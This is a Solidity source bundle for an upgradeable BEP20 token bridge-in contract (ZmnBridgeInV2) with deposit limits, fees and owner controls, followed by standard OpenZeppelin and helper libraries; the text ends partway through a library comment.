// SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.9.0; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "../lib/SafeMath16.sol"; import "../lib/SafeBEP20.sol"; import "../utils/ArrayUniqueUint256.sol"; contract ZmnBridgeInV2 is Initializable, UUPSUpgradeable, OwnableUpgradeable, ReentrancyGuardUpgradeable { using SafeMath16 for uint16; using SafeMath for uint256; using SafeBEP20 for IBEP20; event BridgeIn(address indexed to, uint256 amount); event BridgeInFor(address indexed from, address indexed to, uint256 amount); event WithdrawToPeggedAddress(address indexed wallet, uint256 amount); // ========================================= // ========================================= // ========================================= // V1 // The ZMINE TOKEN! IBEP20 public zmn; // Min and max uint256 public minDepositZmnAmount; uint256 public maxDepositZmnAmount; uint256 public accBridgeIn; uint256 public accBridgeInFee; mapping(address => uint256) private _accBridgeInByUser; // Bridge fee in basis points (percentage of transfer amount) uint16 public feePercentBP; // Fixed bridge fee uint256 public feeUpfront; address public feeAddress; address public peggedAddress; // ========================================= // ========================================= // ========================================= // Upgradeable function _authorizeUpgrade(address) internal override onlyOwner {} function initialize( IBEP20 _zmn, address _feeAddress, address _peggedAddress ) public initializer { __Ownable_init(); zmn = _zmn; feePercentBP = 0; feeUpfront = 500 ether; feeAddress = _feeAddress; peggedAddress = _peggedAddress; minDepositZmnAmount = 10000 ether; maxDepositZmnAmount = 100000 ether; } // ====================== // ====================== function getAccBridgeInByUser(address _user) external view returns (uint256) { return _accBridgeInByUser[_user]; } function _bridgeIn(address _to, uint256 _amount) internal { require(_amount >= minDepositZmnAmount, "Minimum amount"); require(_amount <= maxDepositZmnAmount, "Maximum amount"); uint256 _fee = 0; if (feeUpfront > 0) { if (feePercentBP > 0) { // upfront fee and percentage fee uint256 _amountAfterUpfrontFee = _amount.sub(feeUpfront); uint256 _feePecent = _amountAfterUpfrontFee .mul(feePercentBP) .div(10000); _fee = feeUpfront.add(_feePecent); } else { // only upfront fee _fee = feeUpfront; } } else { // only percentage fee if (feePercentBP > 0) { uint256 _feePecent = _amount.mul(feePercentBP).div(10000); _fee = _feePecent; } } uint256 _amountAfterFee = _amount.sub(_fee); // transfer token to contract zmn.safeTransferFrom(address(msg.sender), address(this), _amount); // transfer fee from contract to fee address zmn.safeTransfer(address(feeAddress), _fee); // add credit _accBridgeInByUser[_to] = _accBridgeInByUser[_to].add(_amountAfterFee); // accumulate amount accBridgeIn = accBridgeIn.add(_amountAfterFee); accBridgeInFee = accBridgeInFee.add(_fee); } function bridgeIn(uint256 _amount) public { _bridgeIn(msg.sender, _amount); emit BridgeIn(msg.sender, _amount); } function bridgeInFor(address _to, uint256 _amount) public nonReentrant { //Limit to self or delegated harvest to avoid unnecessary confusion require(address(msg.sender) != _to, "bridgeInFor: FORBIDDEN"); _bridgeIn(_to, _amount); emit BridgeInFor(msg.sender, _to, _amount); } // ====================== // ====================== // only owner function setFeeUpfront(uint256 _feeUpfront) public onlyOwner { require( _feeUpfront < minDepositZmnAmount, "Fee more than minimum amount" ); feeUpfront = _feeUpfront; } function setFeePercentBP(uint16 _feePercentBP) public onlyOwner { require(_feePercentBP <= 10000, "Invalid fee basis points"); feePercentBP = _feePercentBP; } function setFeeAddress(address _feeAddress) public onlyOwner { feeAddress = _feeAddress; } function withdrawToPeggedAddress(uint256 _amount) public onlyOwner { // transfer token to pegged address zmn.safeTransfer(address(peggedAddress), _amount); emit WithdrawToPeggedAddress(address(peggedAddress), _amount); } function setPeggedAddress(address _peggedAddress) public onlyOwner { peggedAddress = _peggedAddress; } function setMinDepositZmnAmount(uint256 _minDepositZmnAmount) public onlyOwner { require( _minDepositZmnAmount <= maxDepositZmnAmount, "More than max value" ); require( feeUpfront < _minDepositZmnAmount, "Fee more than minimum amount" ); minDepositZmnAmount = _minDepositZmnAmount; } function setMaxDepositZmnAmount(uint256 _maxDepositZmnAmount) public onlyOwner { require( _maxDepositZmnAmount >= minDepositZmnAmount, "Less than min value" ); maxDepositZmnAmount = _maxDepositZmnAmount; } // ====================== // ====================== } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC1967/ERC1967UpgradeUpgradeable.sol"; import "./Initializable.sol"; /** * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy. * * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is * reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing * `UUPSUpgradeable` with a custom implementation of upgrades. * * The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism. * * _Available since v4.1._ */ abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable { function __UUPSUpgradeable_init() internal initializer { __ERC1967Upgrade_init_unchained(); __UUPSUpgradeable_init_unchained(); } function __UUPSUpgradeable_init_unchained() internal initializer { } /** * @dev Upgrade the implementation of the proxy to `newImplementation`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeTo(address newImplementation) external virtual { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, bytes(""), false); } /** * @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call * encoded in `data`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, data, true); } /** * @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by * {upgradeTo} and {upgradeToAndCall}. * * Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}. * * ```solidity * function _authorizeUpgrade(address) internal override onlyOwner {} * ``` */ function _authorizeUpgrade(address newImplementation) internal virtual; uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.9.0; library SafeMath16 { function mul(uint16 a, uint16 b) internal pure returns (uint16) { if (a == 0) { return 0; } uint16 c = a * b; assert(c / a == b); return c; } function div(uint16 a, uint16 b) internal pure returns (uint16) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint16 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn’t hold return c; } function sub(uint16 a, uint16 b) internal pure returns (uint16) { assert(b <= a); return a - b; } function add(uint16 a, uint16 b) internal pure returns (uint16) { uint16 c = a + b; assert(c >= a); return c; } } //SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.9.0; import "../interface/IBEP20.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Address.sol"; /** * @title SafeBEP20 * @dev Wrappers around BEP20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeBEP20 for IBEP20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeBEP20 { using SafeMath for uint256; using Address for address; function safeTransfer( IBEP20 token, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IBEP20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IBEP20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IBEP20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeBEP20: approve from non-zero to non-zero allowance" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IBEP20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add( value ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IBEP20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeBEP20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IBEP20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall( data, "SafeBEP20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require( abi.decode(returndata, (bool)), "SafeBEP20: BEP20 operation did not succeed" ); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.9.0; contract ArrayUniqueUint256 { // array of value uint256[] _array; // value to indice (start from 1) mapping(uint256 => uint256) public mapValueToIndex; function add(uint256 _val) public returns (uint256) { require(mapValueToIndex[_val] == 0, "Value is existed."); // add to array _array.push(_val); // store index into map // index number start from 1 uint256 _index = _array.length; mapValueToIndex[_val] = _index; // return length of array return _array.length; } function deleteByValue(uint256 _val) public returns (uint256) { require(mapValueToIndex[_val] > 0, "Value does not existed."); uint256 _index = mapValueToIndex[_val]; // index number start from 1 require((_index - 1) < _array.length); // swap if (_index != _array.length) { // swap last to index _array[(_index - 1)] = _array[_array.length - 1]; // update map mapValueToIndex[_array[(_index - 1)]] = _index; } // remove last _array.pop(); // remove from map delete mapValueToIndex[_val]; // return length of array return _array.length; } function containValue(uint256 _val) public view returns (bool) { return (mapValueToIndex[_val] > 0); } function length() public view returns (uint256) { return _array.length; } function get(uint256 i) public view returns (uint256) { return _array[i]; } function toArray() public view returns (uint256[] memory) { return _array; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "../beacon/IBeaconUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/StorageSlotUpgradeable.sol"; import "../utils/Initializable.sol"; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967UpgradeUpgradeable is Initializable { function __ERC1967Upgrade_init() internal initializer { __ERC1967Upgrade_init_unchained(); } function __ERC1967Upgrade_init_unchained() internal initializer { } // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallSecure( address newImplementation, bytes memory data, bool forceCall ) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; _functionDelegateCall( newImplementation, abi.encodeWithSignature("upgradeTo(address)", oldImplementation) ); rollbackTesting.value = false; // Check rollback was effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _upgradeTo(newImplementation); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require( AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall( address newBeacon, bytes memory data, bool forceCall ) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { _functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) { require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, "Address: low-level delegate call failed"); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeaconUpgradeable { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * 